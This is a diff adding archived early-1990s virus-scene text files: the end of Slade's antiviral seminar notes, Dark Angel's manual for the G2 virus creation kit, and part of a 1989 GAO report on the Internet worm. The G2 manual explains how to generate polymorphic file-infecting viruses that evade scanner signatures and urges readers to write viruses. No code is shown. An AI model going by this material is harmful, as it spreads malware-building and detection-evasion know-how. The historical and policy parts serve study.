programs on the disk by attempting to "repair" them. + +At this point in my seminar, there is an overhead foil marked +"This page intentionally left blank." The point being that +there are all kinds of subtle variations on the themes covered +here ... and quite a few not so subtle means which will only +become obvious after they have been used. However, it is +important to note that the most "successful" viri in terms of +numbers of infections are not necessarily the "new models", but +the older and often less sophisticated versions. On the one +hand, this indicates that novelty is not a "viral survival +factor." On the other hand, it points out, in rather depressing +manner, that most computer users are still not using even the +most basic forms of antiviral protection. + +copyright Robert M. Slade, 1991 FUNPIV5.CVP 911030 \ No newline at end of file diff --git a/textfiles.com/virus/g2.txt b/textfiles.com/virus/g2.txt new file mode 100644 index 00000000..b80c4ef3 --- /dev/null +++ b/textfiles.com/virus/g2.txt @@ -0,0 +1,564 @@ + + + + + Phalcon/Skism's G� 0.70� + The Second Generation in Virus Creation + Written by Dark Angel + January 1, 1993 + + "Where do we think up these cheesy names?" + -Dark Angel + + TABLE OF CONTENTS + TITLE PAGE i + TABLE OF CONTENTS i + DISCLAIMER i + PURPOSE ii + FEATURES ii + RESTRICTIONS iii + RUNNING G� (HOW DO I GET THE DAMN THING TO WORK?) 1 + G� HAS THE POWER 1 + STILL NO IDE 1 + MODIFICATION OF GENERATED FILES 2 + UPGRADES 2 + ADDITIONAL G� FILES 3 + PROBLEMS AND FUTURE IMPROVEMENTS 3 + CONCLUSION 4 + HISTORY OF VIRUS TOOLKITS A + + + + + + + + DISCLAIMER + + G� is hereby released into the Public Domain, and may not be sold or + marketed in any form without the permission and written consent from the + author. The author retains all copyrights to this program, in either the + original or modified forms, and no violation, deletion, or change of either + the copyright notice or this disclaimer is allowed. + + G� and the source code generated by said program are not to be used in + any malicious or otherwise irresponsible manner. The author is not + responsible for any damages, incidental or otherwise, resulting from + running either the core program or any programs generated by it. The + program itself is not designed to be damaging and responsibility for proper + usage and containment of any code created by the program (either modified + or unmodified) is entirely placed on the user of G�. All source code and + executable files generated either entirely or partially with G� may not be + distributed without the recipient's full knowledge of the contents. + Malicious use of this code is malicious. + + G� is guaranteed to exist for five years or 50,000 miles, whichever + comes first. + + + + i + + PURPOSE + + G� is NOT a modification of the Phalcon/Skism Mass-Produced Code + generator; it is a complete rewrite and functions in a radically different + manner. There will be no further releases of the PS-MPC, as the project + represented the amoeba-stage of virus creation. + + G�, Phalcon/Skism's newest virus creation tool, is designed to allow + everyone easy access to computer virus source code. More than a simple + Vienna hack generator, it creates viruses "on-the-fly" as per the user + specifications. G� is designed to be easily maintainable and extensible + through the use of special data files created especially for use by the + program. + + G� arrives after the Virus Construction Lab and the Phalcon/Skism + Mass-Produced Code generator. These two excellent code generators have + several shortcomings inherent in their design. First, they only create one + specific virus given a specific configuration. Their design allows for no + variability in code generation. Second, upgrading the generated code means + getting a new COM or EXE file. With the overhead of the IDE code in VCL, + this means redownloading over 100K each release, most of which is + redundant. Although the PS-MPC is much smaller and certainly better + written, it still suffers from the same lack of simple upgrades. The + problem arises because the data needed by the programs for code generation + are hard coded, and not in easily updated external files. + + G�, of course, has none of the problems associated with earlier virus + generators. Designed with configurability, variability, and upgradability + in mind, G� represents the current apex of virus generation. + + FEATURES + + The target audience of G� includes both novice and advanced + programmers alike who wish to learn more about virus programming. A + revolutionary tool in virus generation, G� is both easy to use and + unparalleled in performance. As a code generator, it has a number of + features including: + + o Easy updates via data files. + o Accepts MPC-compliant configuration files. + o Different viruses may be generated from identical configuration files. + o Small executable size, allowing for speed during load and execution. + o Still no IDE - edit the configuration file in your favorite editor and + rapidly generate new code; no need for lengthy wait while IDE loads, + allowing you to work faster and have results quicker. A definite + productivity bonus! + o Rapid generation of code, once again allowing for fast results. + o Low memory requirements. + + As a virus creation tool, it has the following features: + + o Generates compact, easily modified, fully commented, source code. + o COM/EXE infectors. + o Resident and nonresident viruses. + o Supports multiple, semi-polymorphic encryption routines (full + polymorphism coming soon). + o Easily upgraded when improvements are needed. + + Clearly, G� is the most advanced virus code generator available today. + + + ii + + RESTRICTIONS + + Everyone is free to use this program at no charge except for ex-Senior + Engineers of Data Plus, who must pay off the American national debt in + order to use this program or view the documentation beyond this page (only + one or the other). Payment of the American national debt and a sum not + less than said debt to the creator of this program is necessary for the + privilege of both using the program AND viewing the documentation. Failure + to do so will result in a still penalty. + + This program and this document are copyrighted materials of Dark Angel + of Phalcon/Skism. No one may duplicate the document in printed form, + either in part or in full, without an appropriate citation. Ex-Senior + Engineers of Data Plus are not allowed to duplicate either the program or + the document in any case. + + IF YOU ARE A SENIOR ENGINEER, STOP READING NOW. IF YOU ARE OR KNOW OF A + SENIOR ENGINEER WHO HAS VIOLATED THE RESTRICTIONS, THEN IT IS YOUR MORAL + AND CIVIC DUTY TO CALL THE SPA, ASP, PSA, PAS, OR ANY OTHER ORGANIZATION + WITH SOME COMBINATION OF THOSE LETTERS TO REPORT THE VIOLATOR AND TO MAKE + SURE HE OR SHE IS PUNISHED TO THE FULLEST EXTENT UNDER THE LAW. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + iii + + RUNNING G� (HOW DO I GET THE DAMN THING TO WORK?) + + Make sure that the G2.DAT file is in the current directory. Edit the + configuration file to set the desired parameters. Then use the following + simple command to generate the assembly code: + + G2 [] [[] ...] + + Datafile is an optional parameter which allows G� to use other data + modules in lieu of the default (G2.DAT). Configfile refers to the name of + the configuration file which G� uses to determine the characteristics of + the generated virus. The sample configuration file, G2.CFG, contains all + the information you need to generate your own virus. There can be any + number of configuration files following the first parameter. Once invoked, + G� will dutifully create the source code files. To assemble, simply follow + the instructions found in the source code files. The source code is + written for Turbo Assembler and will not work with other assemblers without + modification. + + EXAMPLE: + Let's say you have created a configuration file called FOOBAR.CFG and + wish to generate a virus from it. Simply type: + G2 FOOBAR.CFG + and the deed is done. It doesn't get much simpler than this. + + EXAMPLE: + Let's say you wish to create viruses from the data file BLIP.DAT and + the configuration files BLOP.CFG and BLUP.CFG. At the DOS prompt, type: + G2 BLIP.DAT BLOP.CFG BLUP.CFG + Two files will then be created. + + G� HAS THE POWER + + The key to G�'s power lies in its flexibility in code generation. + Source code files created by G� from identical configuration files almost + always differ in both size but not in functionality. G�'s data files allow + for multiple code segments for each given routine. Additionally, the lines + of assembly within each routine may be placed in different relative + positions by G�. Consequently, few code segments are stable and it should + therefore be tough to find a generic scan string for G�-generated viruses. + Finally, since G� operates with easily-upgraded data files, any such + generic scan string is guaranteed to have a very short life, i.e. until the + next release of the data file. As more routines are added, the number of + possible viruses will grow exponentially, thereby making a generic scan + string approach unwieldy, if not impossible. + + Aside from the inherent power of the code generator, the data file is + also an integral part of the G� package. Since it is written in the G� + metalanguage, it is easily upgraded and maintainable. It is an easy task + to redesign the structure of the viruses generated by G�; it's a simple + matter of rearranging the various routines. This allows for both more + variety in the generated viruses as well as increasing the difficulty of + finding a single generic scan string for G�. + + STILL NO IDE (INTEGRATED DEVELOPMENT ENVIRONMENT) + + " + Everyone agrees that Microsoft Windows is for cripples. Obviously, + you, the user of the PS-MPC, are no cripple, so you need no puny IDE with + colourful, deluxe windows to aid you. If you are a cripple, go ahead and + + 1 + + create the configuration file in your favorite Windows text editor. Hell, + port the code to the Macintosh and you can be truly crippled (although + you'll have your pretty windows and icons). + " + - From the PS-MPC documentation + + Creating an IDE nowadays is merely an exercise in running a package + designed for generating a snazzy interface. Naturally, this is entirely + unnecessary and may not even be wanted in many instances, as an IDE adds + tremendous amounts of extra code accompanied with a tremendous decrease in + execution speed. It's pretty stupid to put an IDE in a code generator; + there's simply no need. + + Several analogies come to mind. The first, of course, is that using + an IDE is akin to a walking person intentionally crippling his own legs or + a sighted person poking her own eyes out. Using an IDE for no reason is + like sitting on a porcupine, bashing yourself over the head with a brick, + or jabbing yourself in the belly with a hot poker for no reason; it's just + not a good idea. + + You want Windows compatability? You want customizable colours? You + want CUA/SAA-compliant pull-down menus? Then go write your own interface. + You want speed? You want tight code generation? You want to learn how to + write viruses? Then G� will do the job nicely. + + MODIFICATION OF GENERATED FILES + + You are encouraged to alter the generated source code files. You may + add to the code in any way except for the addition of malicious code. + That's a no no and is frowned upon. The source code is commented for easy + modification. Everything is open for modification except for the creation + signature string, [PS/G�]. Leave it in. + + Note that G� includes absolutely no destructive routines in it. This + ensures that those who use G� must do the dirty work themselves. Any knob + can write a hard drive trashing routine or rip such a routine out of a + trojan; heck, any programmer worth his salt can write one in his sleep. + Remember that G� is designed not for destruction, but rather for learning. + In the hands of a knowledgeable user, G� may be quite powerful. + + UPGRADES + + Although the G� package is designed as a virus creator, it is really a + generic code generator. The G2.COM file processes the G2.DAT data file to + create the virus. The executable contains no inherently virus-oriented + data; it is all contained in the data file. This is the key to G�'s power + and ease of upgrade. + + Thus, two types of upgrades are possible with G2: code and data file. + Code file upgrades refer to changes in the G2.COM file itself. This will + occur periodically as improvements are needed. Data file upgrades are + changes in the G2.DAT file. Note that data files are NOT and will NOT be + compatible across different versions of G�. This is to allow for + improvements to the file format which may be made during a code upgrade. + + Each release of the code file will be accompanied with a new release + of the data file. This does not necessarily mean that the data module is + improved; it is simply a convenience to the user. The filename of G� code + file releases will be of the format G2-CXXXY.ZZZ where XXX is the version + number, Y is either blank or a 'B' to designate a beta release, and ZZZ is + + 2 + + the extension of the appropriate archive format. The filename of data + upgrades will be of the form G2-DXXXY.ZZZ where XXX is the version of G� + the data file is to be used with, Y is a version number of the data file, + and ZZZ is once again the extension of the appropriate archive format. + This naming scheme is subject to change without notice. + + ADDITIONAL G� FILES + + Note: This is not to be confused with the files generated by G2.COM during + the course of normal operation, which are to be used freely by the user of + G�. + + Due to the nature of G�, there are several files which may eventually + be made available. The first is the compiler module, which generates the + G2.DAT file from several data files. Along with the compiler module will + be the data files themselves, which hold the virus code definitions used by + G� in creating source code. These will not be made available for some + time, at least until the data module format is stable and I've made pretty + much all the improvements that I wish to do. Target version number for + release of these files is 35.2.9.31(3), although this may and will be + changed at will and without notice. + + I am not releasing the source code at this point simply because of all + the hassle I went through after releasing the source to the PS-MPC. The + numerous complaints received from people who couldn't compile it properly + (due to improper setting of compiler switches) showed that it is difficult + to distribute a product in this form. For those that are interested, G� + was written using Turbo C 2.0, an excellent product indeed and the source + code was tested with Tasm 2.5. + + PROBLEMS AND FUTURE IMPROVEMENTS + + I'm much happier with G� and have put more heart into programming it + than I had with the PS-MPC. Although I was initially excited with the + possibilities of the PS-MPC, it was intrinsically limited and I soon saw + that it would grow too bulky to keep up. So I thought up of the idea of + the data file and so far it's been working pretty well. + + Although this program was written with less frenzy than the PS-MPC, + (it took 3 days versus the 2 for the PS-MPC) it may have a few remaining + problems, hence the preversion 1.0, beta designation. The processing of + the configuration file is not contained within the data file; I wish to + change this sometime. Additionally, I wish to add a bit more functionality + and variability into the code generation before version 1.0. Further + control of the code generation and a batch creation mode will also be added + before version 1.0. A few tidbits to look for: true polymorphism, boot + block/partition table/SYS infectors, stealth features, more commenting, and + improved speed in data file and source code generation. + + If you should find problems of your own (euphemism for bug), then make + sure you tell me what is wrong and it will be fixed as soon as possible. + If you have a suggestion for an improvement in the code, or even have + alternate code fragments, then send them to me and they may be incorporated + into subsequent releases of the data file. + + If you should further run into any problems in learning how to use G�, + then be sure to get word to me. Even post it on FidoNet if you wish; I + don't mind feedback in a public forum. Although I will not stoop to the + level of a GUI-making, toolkit-using programmer-drone, I will try to make + using G� as simple as possible and may possibly release a tiny shell which + + 3 + + will automatically place the appropriate parameters in a configuration file + suitable for use with G�. + + Of course, if you have any positive comments, feel free to post them + anywhere I'm likely to be; either leave me email at a particular board that + I frequent (make sure it's the right Dark Angel) or leave a public message + on FidoNet or another net that I am likely to read. Don't be too critical + of ex-Senior Engineers; they have nothing better to do than bash virus + writers. + + CONCLUSION + + G� represents a new level in modern virus creation. Although nothing + can possibly beat either the quality or the thrill of a hand-crafted virus, + the viruses generated by G� are quite powerful and useful for learning how + to write your own viruses. + + Where does it go from here? Only ex-senior engineers of Data Plus + have been entrusted by the government to know this secret information. + However, secret agents have infiltrated the tight safety net surrounding + said senior engineers and this knowledge will be made publically available + at the appropriate time. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 4 + + HISTORY OF VIRUS TOOLKITS + + Note: The original text from which this was based, the PS-MPC + documentation, has been copied extensively by journals such as Virus + Bulletin and presented as their own text. If you copy the text, it is + expected that you cite the source. It's not very nice to plagiarize and + your mommy might scold you if she knew what you were up to. + + The first known virus toolkit was called VCS, or Virus Construction + Set. This program generated a new virus each time it was run. However, + there were no code differences at all between any two viruses generated by + VCS. All viruses generated were 1077 bytes in length and all could be + detected with the identical scan string. The advantage in this approach + was that the user needed absolutely no knowledge of 8086 assembly to take + advantage of this program. This program of limited usefulness spawned only + one well-known variant called Manta. It is hardly worth mentioning here. + + The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation + Engine (MtE). This magnificent work of Bulgarian coding allowed virus + authors to create viruses with an almost limitless number of decryption + routines. Although the author needed to know how to write 8086 assembly + code, no knowledge of the inner workings of MtE save the entry parameters + was needed to use this toolkit. It has since spawned several viruses, + including Dedicated, Pogue, Fear, and Groove. + + The next virus toolkit to be released was VCL, or Virus Construction + Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed + the user many options, including the creation of parasitic COM infectors, + overwriting COM/EXE "infectors," spawning EXE "infectors," trojan horses + and logic bombs. The only thing missing from this motley assortment of + formats was the ANSI bomb. Since it could handle parasitic infections only + of the COM file format, it was of limited usefulness. Additionally, it + incorporated only one decryption formula, once again limiting its + usefulness. Further, the initial release included a quirky installation + program which failed to install properly under certain conditions. An + errant pointer probably contributed to another bug, which occasionally + caused garbled source code to be produced. Perhaps the worst bug of VCL + was the failure of some of the generated programs to work properly. On the + bright side, however, this package contained a colourful IDE loosely based + on the Borland interface. This IDE was easy to use and even the average + Joe could understand how to use it without understanding 80x86 assembly. + Unfortunately, the activation routines included with the package were of + limited usefulness. Most of these involved manipulating the BIOS memory + area at segment 40h and seemed to be mere afterthoughts, rather than + planned "features." Virus researchers quickly dismissed VCL's importance, + as it was primarily an overblown Vienna hack generator and incapable of + generating dangerous viruses. The Vienna ancestry of VCL was apparent in + many of its "options" such as virulence rate and PATH= tracing. The F-Prot + which existed during the release of VCL immediately scanned most viruses + created by VCL as Vienna hacks. VCL 2.0, so far merely vaporware, is + rumored to fix the previous version's many problems. However, the package + will continue to be haunted by its ancestry and its inherently crippled + nature due to being a first generation virus creator. + + The latest virus toolkit was the Phalcon/Skism Mass-Produced Code + generator (PS-MPC). Released shortly after VCL, this product, written by + Dark Angel, had none of the problems associated with VCL. Although this + virus generator didn't create overwriting COM/EXE "infectors," spawning EXE + "infectors," trojan horses, or even logic bombs, it could handle parasitic + COM and EXE infectors with ease. It also had a random + + A + + encryption/decryption algorithm, allowing well over 150 possible routines + in that area. Version 0.91� incorporated both resident and nonresident + infectors. No previous virus toolkit could generate resident viruses, + generic or otherwise. Further, the PS-MPC had no IDE to cripple the user, + clearly an advantage, as the program lacked the overhead associated with an + IDE. Thus, the PS-MPC was a good tool for learning how to write viruses as + well as an excellent method of creating good viruses. The PS-MPC was not + intended to be used destructively; no destruction routines were + incorporated. Therefore, irresponsible dissemination of destructive code + was not initiated; rather, it left the activation of the virus up to the + user. Interestingly, although released soon after VCL 1.0, the PS-MPC + version 0.90� fulfilled the "wish list" for VCL 2.0 and the PS-MPC version + 0.91� improved still further, with the capability of creating full-fledged + resident infectors. Another bonus was the availability of the source code, + which allowed extensions of the core program. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + B diff --git a/textfiles.com/virus/gao_rpt b/textfiles.com/virus/gao_rpt new file mode 100644 index 00000000..d9b05133 --- /dev/null +++ b/textfiles.com/virus/gao_rpt @@ -0,0 +1,2375 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ************************************************************** + * This is the first GAO report to be made available over * + * the Internet. GAO wants to know how many people * + * acquire the report this way. If you are reading this, * + * please send mail to me and I'll keep * + * count for them. Your name will not be saved or used. * + ************************************************************** + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +United States General Accounting Office + +GAO Report to the Chairman, Subcommittee on + Telecommunications and Finance, + Committee on Energy and Commerce + House of Representatives + +June 1989 COMPUTER SECURITY + + Virus Highlights Need + for improved Internet + Management + +GAO/IMTEC-89-57 + + + Contents + + Page +EXECUTIVE SUMMARY 2 + +CHAPTER + 1 INTRODUCTION 10 + Internet Evolves From 10 + an Experimental Network + Rapid Growth of the Internet 12 + Management in a Decentralized 12 + Environment + Future of the Internet 14 + Internet Virus Spread Over 15 + Networks to Vulnerable + Computers + Objectives, Scope, and 17 + Methodology + + 2 VIRUS FOCUSES ATTENTION ON 19 + INTERNET VULNERABILITIES + Impact of Virus 19 + Vulnerabilities Highlighted 20 + by Virus + Actions Taken in Response 26 + to Virus + Conclusions 28 + Recommendation 30 + + 3 FACTORS HINDERING PROSECUTION 32 + OF COMPUTER VIRUS CASES + No Statute Specifically 32 + Directed at Viruses + Technical Nature of Virus- 34 + Type Incidents May Hinder + Prosecution + Proposed Legislation on 35 + Computer Viruses and + Related Offenses + Conclusions 36 + +APPENDIXES +APPENDIX I History of Computer Viruses 37 +APPENDIX II Research Aimed at Improving 43 + Computer and Open Network + Security +APPENDIX III Major Contributors to This Report 49 + + + + Abbreviations + +CERT Computer Emergency Response Team +DARPA Defense Advanced Research Projects + Agency +FCCSET Federal Coordinating Council on + Science, Engineering and + Technology +FRICC Federal Research Internet + Coordinating Committee +GAO General Accounting Office +HHS Department of Health and + Human Services +IMTEC Information Management and + Technology Division +MIT Massachusetts Institute + of Technology +NASA National Aeronautics and Space + Administration +NCSC National Computer Security Center +NIST National Institute of Standards + and Technology +NSF National Science Foundation +OSTP Office of Science and Technology + Policy +PC personal computer + + + + +EXECUTIVE SUMMARY + +PURPOSE + +In November 1988, a computer program caused +thousands of computers on the Internet--a +multi-network system connecting over 60,000 +computers nationwide and overseas--to shut down. +This program, commonly referred to as a computer +virus or worm, entered computers and +continuously recopied itself, consuming +resources and hampering network operations. + +Concerned about Internet security and the virus +incident, the Chairman, Subcommittee on +Telecommunications and Finance, House Committee +on Energy and Commerce, asked GAO to + +-- provide an overview of the virus incident, + +-- examine issues relating to Internet security + and vulnerabilities, and + +-- describe the factors affecting the + prosecution of computer virus incidents. + +BACKGROUND + +The Internet, the main computer network used by +the U.S. research community, comprises over 500 +autonomous unclassified national, regional, and +local networks. Two of the largest networks are +sponsored by the National Science Foundation and +the Department of Defense. In addition, three +other agencies operate research networks on the +Internet. Over the past 20 years, the Internet +has come to play an integral role in the +research community, providing a means to send +electronic mail, transfer files, and access data +bases and supercomputers. + +There is no lead agency or organization +responsible for Internet-wide management. +Responsibility for computer security rests +largely with the host sites that own and operate +the computers, while each network is managed by +the network's sponsor, such as a federal +agency, university, or regional consortium. + +Plans are for the Internet to evolve into a +faster, more accessible, larger capacity network +system called the National Research Network. +The initiative to upgrade the Internet-- +described as a "super highway" for the research +community--stems from a report by the Office of +Science and Technology Policy. This Office, +headed by the President's Science Advisor, has a +broad legislative mandate to coordinate and +develop federal science policy. + +In recent years, the public has become +increasingly aware of computer virus-type +programs that can multiply and spread among +computers. The Internet virus differed from +earlier viruses (which primarily attacked +personal computers) in that it was the first to +use networks to spread, on its own, to +vulnerable computer systems. + +There is no federal statute that specifically +addresses virus-type incidents. Forty-eight +states have enacted laws dealing with computer +crime. +_____________________________________________________________________ +RESULTS IN BRIEF + +Within hours after it appeared, the Internet +virus had reportedly infected up to 6,000 +computers, clogging systems and disrupting most +of the nation's major research centers. After 2 +days, the virus was eradicated at most sites, +largely through the efforts of university +computer experts. After the virus incident, +multiple intrusions (not involving viruses) at +several Internet sites added to concerns about +security. + +These incidents highlighted such vulnerabilities +as (1) the lack of an Internet focal point for +addressing security issues, (2) security +weaknesses at some sites, and (3) problems in +developing, distributing, and installing +software fixes (i.e., repairs to software +flaws). + +While various agencies and groups have taken +actions to enhance security, GAO believes that +many of the vulnerabilities highlighted by the +virus and subsequent intrusions require actions +transcending those of individual agencies or +groups. For this reason, GAO believes a +security focal point should be established to +fill a void in Internet's management structure. + +Several factors may hinder successful +prosecution of virus-type incidents. For +example, since there is no federal statute that +specifically makes such conduct a crime, other +laws must be applied. In addition, the +technical nature of such cases may make it +difficult to proceed to trial. + + + + + + +PRINCIPAL FINDINGS + +Internet Virus +Incident + +The onset of the virus was extremely swift. +Within an hour after it appeared, the virus was +reported at many sites, and by early morning, +November 3, thousands of computers were infected +at such sites as the Department of Energy's +Lawrence Livermore National Laboratory, the +National Aeronautics and Space Administration's +Ames Research Center, the Massachusetts +Institute of Technology, Purdue University, and +the University of Maryland. + +The virus spread over networks largely by +exploiting (1) two holes (flaws) in systems +software used by many computers on the networks +and (2) weaknesses in host site security +policies, such as lax password management. + +The primary effects of the virus were lost +computer processing and staff time. However, +while apparently no permanent damage was done, a +few changes to the virus program could have +resulted in widespread damage and compromise of +sensitive or private information. + +Vulnerabilities +Highlighted + +The lack of an Internet security focal point +created difficulties in responding to the +virus. For example, problems were reported +in communicating information about the virus +to sites, coordinating emergency response +activities, and distributing fixes to +eradicate the virus. + +The virus also exploited security weaknesses +at some sites. For example, the incident +showed that some sites paid insufficient +attention to security issues, such as proper +password usage, and lacked system management +expertise for dealing with technical issues. + +In addition, problems were highlighted in +developing, distributing, and installing +software fixes for known flaws. For +example, vendors are not always timely in +repairing software holes that may create +security vulnerabilities. Further, even +when fixes are available, sites may not +install them, through either neglect or lack +of expertise. In the subsequent intrusions, +intruders entered several computer systems by +exploiting a known software hole. In one +case, the vendor had not supplied the fix for +the hole, and in the other, the fix was +supplied but not installed. + +Since the virus incident, agencies and groups +have taken actions, such as creating computer +emergency response centers and issuing ethics +statements to heighten users' moral +awareness. These actions are an important +part of the overall effort needed to upgrade +Internet security. However, GAO believes +that a focal point is needed to provide the +oversight, coordination, and policy-making +capabilities necessary to adequately address +Internet's security vulnerabilities. Since +no one organization is responsible for +Internet-wide management and the Office of +Science and Technology Policy has taken a +leadership role in initiating plans for a +National Research Network, GAO believes that +the Office would be the most appropriate body +to coordinate the establishment of a security +focal point. + + + + + + + + + + + +Prosecution +Problems + +To prosecute computer virus-type incidents on +the federal level, such laws as the Computer +Fraud and Abuse Act of 1986 (18 U.S.C. 1030) or +the Wire Fraud Act (18 U.S.C. 1343) may be used. +However, the 1986 act, the law most closely +related to computer virus-type cases, is +relatively new, untried with respect to virus- +type offenses, and contains terms that are not +defined. Also, the evidence in such cases tends +to be highly technical, requiring prosecutors to +devote much time and resources preparing for +them. +_____________________________________________________________________ +RECOMMENDATIONS + +To help ensure the necessary improvements to +Internet-wide security are achieved, GAO +recommends that the President's Science Advisor, +Office of Science and Technology Policy, +coordinate the establishment of an interagency +group, including representatives from the +agencies that fund research networks on the +Internet, to serve as the Internet security +focal point. This group should + +-- provide Internet-wide security policy, + direction, and coordination; + +-- support ongoing efforts to enhance Internet + security; + +-- obtain input and feedback from Internet + users, software vendors, technical advisory + groups, and federal agencies regarding + security issues; and + +-- become an integral part of whatever structure + emerges to manage the National Research + Network. + + + + +AGENCY COMMENTS + +As requested, GAO did not obtain official agency +comments on this report. However, the views of +officials from the Defense Department, National +Science Foundation, and the Office of Science +and Technology Policy were obtained and +incorporated in the report where appropriate. + + + CHAPTER 1 + + INTRODUCTION + + On Wednesday, November 2, 1988, a virus** appeared on the +Internet, the main computer network system used by U.S. +researchers. The virus reportedly infected up to 6,000 +computers, consuming resources and hampering network operations. +The Internet, an unclassified multi-network system connecting +over 500 networks and over 60,000 computers nationwide and +overseas, has come to play an integral role within the research +community. A user on any one of the thousands of computers +attached to any Internet network can reach any other user and has +potential access to such resources as supercomputers and data +bases. This chapter presents an overview of the Internet--how it +evolved, how it is used and managed, and what plans there are for +its further development--as well as a description of the events +surrounding the Internet virus. + + ** Although there is no standard definition, technical + accounts sometimnes use the term "worm" rather than + "virus" to refer to the self-propagating program + introduced on November 2. The differences between + the two are subtle, the essential one being that + worms propagate on their own while viruses, narrowly + interpreted, require human involvement (usually + unwitting) to propagate. However, their effects can + be identical. We have chosen to use the term virus + in deference to popular use. + +INTERNET EVOLVES FROM AN EXPERIMENTAL NETWORK + + The Internet began as an experimental, prototype network +called Arpanet, established in 1969 by the Department of +Defense's Defense Advanced Research Projects Agency (DARPA). +Through Arpanet, DARPA sought to demonstrate the possibilities of +computer networking based on packet-switching technology.** +Subsequently, DARPA sponsored several other packet-switching +networks. In the 1970s, recognizing the need to link these +networks, DARPA supported the development of a set of procedures +and rules for addressing and routing messages across separate +networks. These procedures and rules, called the "Internet +protocols," provided a universal language allowing information to +be routed across multiple interconnected networks. + + ** Packet switching is a technique for achieving economical + and effective communication among computers on a + network. It provides a way to break a message into + small units, or packets, for independent transmission + among host computers on a network, so that a single + communicatin channel can be shared by many users. Once + the packets reach their final destination, they are + reassembled into the complete message. + + From its inception, Arpanet served as a dual-purpose +network, providing a testbed for state-of-the-art computer +network research as well as network services for the research +community. In the 1980s, the number of networks attached to +Arpanet grew as technological advances facilitated network +connections. By 1983 Arpanet had become so heavily used that +Defense split off operational military traffic onto a separate +system called Milnet, funded and managed by the Defense +Communications Agency. Both Arpanet and Milnet are unclassified +networks. Classified military and government systems are +isolated and physically separated from these networks. + + Building on existing Internet technology, the National +Science Foundation (NSF), responsible for nurturing U.S. science +infrastructure, fostered the proliferation of additional +networks. In 1985, NSF made the Internet protocols the standard +for its six supercomputing centers and, in 1986, funded a +backbone network--NSFnet--linking the six centers.** NSF also +supported a number of regional and local area campus networks +whose network connections were facilitated through NSF funding.*** +As of September 1988, there were about 290 campus networks +connected to NSFnet through about 13 regional networks. Many of +these networks also connect to Arpanet. + + ** A backbone network is a network to which smaller + networks are attached. Arpanet and Milnet are also + backbone networks. + + *** Regional networks include partial-statewide networks + (e.g., Bay Area Regional Research Network in northern + California), statewide networks (e.g., New York State + Educational Research Network), and multi-state networks + (e.g., Southern Universities Research Association + Network). + + Other federal agencies fund research networks. The +Department of Energy, the National Aeronautics and Space +Administration (NASA), and the Department of Health and Human +Services (HHS) operate networks on the Internet that support +their missions. + + This loosely organized web of interconnected networks-- +including Arpanet, Milnet, NSFnet, and the scores of local and +regional networks that use the Internet protocols--make up the +Internet. The Internet supports a vast, multi-disciplinary +community of researchers, including not only computer scientists +but physicists, electrical engineers, mathematicians, medical +researchers, chemists, and astronomers. + + Researchers use the Internet for a variety of functions; +electronic mail, which provides a way of sending person-to-person +messages almost instantaneously, is the most frequent use. Using +electronic mail, researchers separated by thousands of miles can +collaborate on projects, sharing results and comments daily. +Other uses of the Internet include file transfer and remote +access to computer data banks and supercomputers. Access to +supercomputers has had a dramatic impact on scientific endeavors; +experiments that took years to complete on an ordinary computer +can take weeks on a supercomputer. Currently, use of the +Internet is generally free-of-charge to individuals engaged in +government-sponsored research. + +RAPID GROWTH OF THE INTERNET + + The Internet's transition from a prototype network to a +large-scale multi-network has been rapid, far exceeding +expectations. In the past 5 years, its growth has been +particularly dramatic. For example: + + -- In late 1983, the Internet comprised just over 50 + networks; by the end of 1988, the number had grown to + over 500. + + -- In 1982, about 200 host computers were listed in a + network data base; by early 1987, there were about + 20,000, and by early 1989 the number exceeded 60,000.** + + ** Host computers, which include supercomputers, mainframes, + and minicomputers, are the machines,attached to the + networks, that run application programs. + + -- An October 1988 NSF network publication estimated that + there were over half a million Internet users.** + + ** "NSF Network News", No. 5, NSF Network Service Center, + Oct, 1988. + + Funding for Internet operations comes from the five agencies +(DARPA, NSF, Energy, NASA, and HHS) involved in operating +research networks and from universities, states, and private +companies involved in operating and participating in local and +regional networks. A 1987 Office of Science and Technology +Policy (OSTP) report estimated federal funding to be +approximately $50 million. A national information technology +consortium official estimated that university investments in +local and regional networks are in the hundreds of millions of +dollars; state investments are estimated in the millions and +rapidly growing.** + + ** Industry also invests in local and regional networks; + however, the amount of that investment could not be + determined. + +MANAGEMENT IN A DECENTRALIZED ENVIRONMENT + + Management of the Internet is decentralized, residing +primarily at the host site and individual network levels. Early +in the Internet's development, responsibility for managing and +securing host computers was given to the end-users--the host +sites, such as college campuses and federal agencies, that owned +and operated them. It was believed that the host sites were in +the best position to manage and determine a level of security +appropriate for their systems. Further, DARPA's (Arpanet's +developer and the major federal agency involved in the Internet +in its early years) primary function was in fostering research in +state-of-the-art technology rather than operating and managing +proven technology. + + At each host site, there may be many host computers.** These +computers are controlled by systems managers who may perform a +variety of security-related functions, including + + -- establishing access controls to computers through + passwords or other means; + + -- configuration management, enabling them to control the + versions of the software being used and how changes to + that software are made; + + -- software maintenance to ensure that software holes + (flaws) are repaired; and + + -- security checks to detect and protect against + unauthorized use of computers. + + ** For example, at the University of California, Berkeley, + there are over 2,000 host computers. + +Operational Management at the Network Level + + Each of the Internet's more than 500 networks maintains +operational control over its own network, be it a backbone +network (such as NSFnet), a regional network, or a local area +network. Distributed responsibility allows for use of different +technologies as well as different types of administration. Each +network is autonomous and has its own operations center that +monitors and maintains its portion of the Internet. In addition, +some of the larger networks maintain information centers that +provide information on network use and resources. + +No Internet-wide Management + + No one agency or organization is responsible for overall +management of the Internet. According to a DARPA official, +decentralization provided the needed flexibility for the +Internet's continuing growth and evolution. Within the Internet, +networks operated by government agencies serve as backbones to +connect autonomous regional and local (campus) networks. Agency +backbone networks were established with agency missions in mind, +and their structures and modes of operation generally reflect +individual agency philosophies. + + In the fall of 1987, representatives of the five federal +agencies--DARPA, NSF, Energy, NASA, HHS--that operate Internet +research networks joined forces to form the Federal Research +Internet Coordinating Committee (FRICC). The objectives of this +informal group include coordinating network research and +development, facilitating resource sharing, reducing operating +costs, and consolidating requirements for international +connections of the participating agencies. Currently, FRICC is +involved in developing plans to upgrade the Internet and improve +services. + +FUTURE OF THE INTERNET + + The Internet, long characterized by growth 